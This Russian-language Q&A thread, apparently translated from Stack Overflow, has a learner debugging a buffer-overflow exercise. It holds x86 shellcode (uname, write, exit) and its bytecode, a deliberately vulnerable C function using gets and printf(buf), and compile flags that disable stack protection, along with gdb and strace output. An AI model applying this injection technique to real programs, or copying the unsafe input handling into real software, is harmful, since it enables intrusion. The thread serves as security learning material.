Uname системный вызов в переполнении буфера - PullRequest
0 голосов
/ 05 декабря 2018

Я пытаюсь изучить основы переполнения буфера, поэтому я написал следующий код для его вставки в буфер:

//uname(*buf)
"addl $-390, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size (as I only want "Kali" string)   
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

Приведенный выше код работает и имеет следующий байт-код (который также работает):

\x81\xc4\x7a\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

Эта строка с некоторыми NOP и адресом в конце, указывающим на стек, передается целевой программе через уязвимую функцию get () .При выполнении видно, что системный вызов uname вызывается в следующем выводе команды strace :

(...)
uname({sysname="Linux", nodename="kali", ...}) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

Что я не понимаю, так это почему при проверке дампа ядра в gdbчтобы понять, почему возникает ошибка сегментации, я не вижу своего байт-кода нигде во всем стеке.Может быть, это перезаписывает uname?Потому что в теории достаточно места, 390 байт.Я что-то упустил?

Спасибо

ОБНОВЛЕНИЕ:

Уязвимая функция, вызываемая main, выглядит следующим образом:

void function() {
    char buf[100];
    gets(buf);
    printf(buf);
}

Я выполнил пошаговую отладку с помощью gdb, и байт-код правильно помещен в стек, но я не могу (не знаю, как) выполнить команды отладки, выполняемые в стеке.

Как видно извывод strace (который указывает, какие системные вызовы вызываются двоичным файлом), последнее, что нужно сделать, это вызов uname .Вот почему теория перезаписи инструкций в стеке (eip при возникновении ошибки сегментации: 0xbffff350).

Здесь значения стека перед возвратом к основному (на самом деле, он вернетв начало адреса стека):

(gdb) x/100bx 0xbffff300
0xbffff2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff300: 0x90    0x90    0x81    0xc4    0x7a    0xfe    0xff    0xff
0xbffff308: 0x89    0xe3    0x31    0xc0    0x04    0x7a    0xcd    0x80
0xbffff310: 0xb0    0x04    0x31    0xdb    0xb3    0x01    0x8d    0x4c
0xbffff318: 0x24    0x41    0x31    0xd2    0x80    0xc2    0x05    0xcd
0xbffff320: 0x80    0xb0    0x01    0x31    0xdb    0xcd    0x80    0x90
0xbffff328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

Кроме того, при запуске исполняемого файла и передаче байт-кода в gdb (run

UPDATE2:

Также при запуске исполняемого файла и передаче байт-кода в gdb (run

На самом деле это что-то печатает.Иногда слово «kali» (так работает правильно), а иногда просто байт или два.

UPDATE3:

Выход GDB при запуске с ядромdump это:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xbffff350 in ?? ()

Вызывает uname функцию и выдает ошибку сегментации.

Выход GDB при запуске программы внутри (run

��[Inferior 1 (process 5271) exited normally]

Таким образом, он что-то печатает, а затем завершает работу.

Компиляция программы выполняется с помощью следующих параметров:

gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -o program program.c

UPDATE4:

Я изменил 390 на 500 , чтобы быть кратным 4, как указал @Jester в комментариях.Теперь он работает в терминале, но не в GDB, а в новом терминале.Я думаю, что это связано с тем фактом, что они имеют другую структуру памяти, поэтому адрес в конце байт-кода должен быть изменен.

Вопросы

1.- Когда GDB не используется для выполнения уязвимой программы, почему возникает ошибка сегментации и почему байт-код не отображается нигде в стеке, когдаанализировать дамп ядра?

2.- Когда gdb используется для выполнения программы (run

1 Ответ

0 голосов
/ 06 декабря 2018

Код окончательной сборки выглядит следующим образом (изменяется только -390 до -500):

//uname(*buf)
"addl $-500, %esp;" //save space for buffer
"movl %esp, %ebx;"  //ebx point to buffer
"xorl %eax, %eax;"  //erase data in register
"addb $0x7a, %al;"  //syscall number
"int $0x80;"        //raise interruption


//write(fd, *buf, size)
"movb $0x04, %al;"  //syscall number
"xorl %ebx, %ebx;"  //erase data in register
"movb $0x01, %bl;"  //add 1 as file descriptor     
"lea 0x41(%esp), %ecx;"  //get address where hostname is   
"xorl %edx, %edx;"  //erase data in register
"addb $0x05, %dl;"  //set buffer size    
"int $0x80;"        //raise interruption

//exit(0)
"movb   $0x01, %al;"    //syscall number
"xorl %ebx, %ebx;"  //set 0 in register
"int    $0x80;"     //raise interruption

Итак, окончательный байт-код:

\x81\xc4\x0c\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80

1.- КогдаGDB не используется для выполнения уязвимой программы, почему вызвана ошибка сегментации и почему байт-код не отображается нигде в стеке при анализе дампа ядра?

Кажется, проблема была в 390, а не вкратное 4, так что это вызвало некоторые ошибки.Также весь размер байт-кода был неправильным.

2.- Когда gdb используется для выполнения программы (run

Адрес в gdb должен бытьотличается от того, который использовался для использования программы через терминал, так как она загружает переменные среды.Это лучше объяснить здесь: Переполнение буфера работает в GDB, но не без него

...